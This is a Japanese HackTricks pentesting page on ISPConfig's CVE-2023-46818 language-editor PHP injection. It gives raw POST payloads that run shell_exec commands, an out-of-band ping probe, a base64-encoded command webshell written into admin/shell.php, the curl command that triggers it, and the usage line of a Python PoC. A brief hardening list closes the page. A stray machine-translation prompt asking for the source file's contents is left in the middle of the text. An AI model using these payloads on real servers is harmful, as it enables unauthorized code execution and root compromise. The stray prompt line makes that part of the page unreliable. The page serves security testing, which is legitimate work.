ISPConfig

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

ISPConfig はオープンソースのホスティングコントロールパネルです。古い 3.2.x ビルドには言語ファイルエディタ機能があり、これがスーパー管理者に対して有効になっていると、不正に構成された翻訳レコードを介して任意の PHP コード注入が可能でした。これは web サーバーコンテキストでの RCE を引き起こす可能性があり、PHP の実行方法によっては権限昇格につながることがあります。

主要なデフォルトパス:

  • Web ルートは php -S で提供されている場合や Apache/nginx 経由の場合、しばしば /var/www/ispconfig にあります。
  • 管理 UI は HTTP(S) vhost 上で到達可能です(場合によっては localhost のみにバインドされていることがあります;必要なら SSH ポートフォワードを使用してください)。

ヒント: パネルがローカルにバインドされている場合(例: 127.0.0.1:8080)、転送してください:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

言語エディタ PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • 組み込みの superadmin アカウント admin でログインする(ベンダーによれば他のロールは影響を受けない)
  • 言語エディタを有効にする必要がある: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: 認証済みの admin は任意の PHP を注入でき、それが言語ファイルに書き込まれてアプリケーションによって実行され、web コンテキストで RCE を達成する

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

手動でのエクスプロイト手順

  1. 言語ファイルを開く/作成して CSRF トークンを取得する

最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(csrf_id, csrf_key)を解析する。例: /admin/language_edit.php.

  1. Inject PHP via records[] and save

CSRF フィールドと悪意ある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

アウトオブバンドテスト(ICMPの観測):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. ファイルを書き込み、webshellを配置する

file_put_contents を使って、ウェブから到達可能なパス(例: admin/)にファイルを作成する:

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

次に、POSTボディ内の不正な文字を回避するためにbase64を使用したシンプルなwebshellを書きます:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

src/network-services-pentesting/pentesting-web/ispconfig.md の内容を貼ってください。翻訳して返します。

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

PHPがrootとして実行されている場合(例: rootによって起動された php -S 127.0.0.1:8080 のように)、直ちにroot RCEが得られます。そうでない場合は、webサーバーのユーザー権限でコード実行が可能になります。

Python PoC

そのまま使えるexploitはtokenの処理とpayloadの配信を自動化します:

実行例:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

ハードニング

  • 3.2.11p1以降にアップグレードする
  • 言語エディタは厳密に必要でない限り無効にする:
admin_allow_langedit=no
  • パネルをrootで実行しない; PHP-FPMまたはwebサーバーを設定して特権を落とす
  • 組み込みの admin アカウントに対して強力な認証を要求する

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする